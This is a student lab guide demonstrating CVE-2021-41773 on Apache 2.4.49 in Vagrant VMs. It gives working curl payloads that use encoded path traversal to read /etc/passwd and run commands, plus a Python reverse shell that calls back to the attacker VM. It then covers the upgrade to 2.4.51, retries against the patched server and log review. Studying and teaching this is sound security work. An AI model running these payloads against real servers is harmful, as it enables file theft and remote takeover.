SOURCE CODE

CVE-2021-41773 - APACHE SERVER PATH TRAVERSAL & RCE

- Fathima Sheema Mohamed Ruzaik - 025500264A
- Vo-Truc-Ngan Dinh – 0255553738

We do not have any source code but manual commands to be executed during the demo. Hence, we have attached the Vagrant file and this document with the commands , in this zip folder.

SECTION 1 - START THE LAB

Run from: Windows PowerShell

Navigate to the project folder where the Vagrant file is available and open the cmd terminal

Start all VMs

```
vagrant up victim
vagrant up attacker
vagrant up victim_patched
```

SECTION 2 - START APACHE ON VICTIM (Terminal 1)

SSH into victim

```
vagrant ssh victim
```

Start Apache 2.4.49

```
sudo /usr/local/apache2/bin/apachectl start
```

Verify Apache is running

```
/usr/local/apache2/bin/httpd -v
```

Watch live access logs (we keep this running during the demo)

```
tail -f /usr/local/apache2/logs/access_log
```

SECTION 3 -VERIFY TARGET FROM HOST (Terminal 2)

Run from: Windows PowerShell → `vagrant ssh attacker`

SSH into attacker (Kali)

```
vagrant ssh attacker
```

SECTION 4 - ATTACK FROM KALI

Confirm vulnerable Apache version is running

```
curl -I http://192.168.56.10
```

ATTACK 1: PATH TRAVERSAL (File Read)

Read /etc/passwd from outside the web root

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; cat /etc/passwd" \
  http://192.168.56.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

ATTACK 2: REMOTE CODE EXECUTION

Execute id command on victim

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; id" \
  http://192.168.56.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

Execute whoami

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; whoami" \
  http://192.168.56.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

Execute uname to show victim OS info

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; uname -a" \
  http://192.168.56.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

ATTACK 3: REVERSE SHELL

TERMINAL 3 (Kali) - Start listener first

```
nc -lvnp 4444
```

TERMINAL 2 (Kali) - Send reverse shell payload

Open new PowerShell → vagrant ssh attacker → run this:

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; python3 -c 'import
socket,subprocess;s=socket.socket();s.connect((\"192.168.56.20\",4444)
);subprocess.call([\"/bin/sh\",\"-
i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'" \
  http://192.168.56.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

TERMINAL 3 - Shell arrives, run these inside:

```
whoami
id
pwd
cat /etc/passwd
```

STEP 5- UPGRADE TO VERSION 2.4.51

Move to the temp directory

```
cd /tmp
```

Download and extract 2.4.51

```
wget -q https://archive.apache.org/dist/httpd/httpd-2.4.51.tar.gz
tar -xzf httpd-2.4.51.tar.gz
```

Ensure all dependencies (APR or APR-ulti) are extracted and linked

```
tar -xzf apr-1.7.0.tar.gz
tar -xzf apr-util-1.6.1.tar.gz
cp -r apr-1.7.0 httpd-2.4.51/srclib/apr
cp -r apr-util-1.6.1 httpd-2.4.51/srclib/apr-util
```

Compile and install the new version

```
cd httpd-2.4.51
./configure --enable-so --enable-cgi --with-included-apr > /dev/null 2>&1
make && sudo make install > /dev/null 2>&1
```

Stop the old process

```
sudo /usr/local/apache2/bin/apachectl stop
```

Kill any stuck threads

```
sudo pkill -9 httpd
```

Start the new version

```
sudo /usr/local/apache2/bin/apachectl start
```

SECTION 6 - PATCH DEMO (Apache 2.4.51)

From Windows PowerShell

Verify patched server version

```
curl -I http://192.168.56.30
```

From Kali (vagrant ssh attacker)

Try path traversal on patched server - same payload

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; cat /etc/passwd" \
  http://192.168.56.30/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

Try RCE on patched server

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; id" \
   http://192.168.56.30/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
```

Try double-encoding on patched server

```
curl --path-as-is -s
-d "echo; id" \
```

```
http://192.168.56.30/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
curl --path-as-is -s \
  -d "echo Content-Type: text/plain; echo; cat /etc/passwd" \
   http://192.168.56.30/cgi-bin/.%252e/.%252e/.%252e/.%252e/etc/passwd
```

SECTION 7 - VICTIM LOGS

Run from: `vagrant ssh victim_patched`

Watch live Apache access log

```
tail -f /usr/local/apache2/logs/access_log
```

Show full access log

```
cat /usr/local/apache2/logs/access_log
```

Filter only the exploit requests

```
grep "%2e" /usr/local/apache2/logs/access_log
```

SECTION 8- SHUT DOWN VAGRANT

```
vagrant halt victim
vagrant halt attacker
vagrant halt victim_patched
```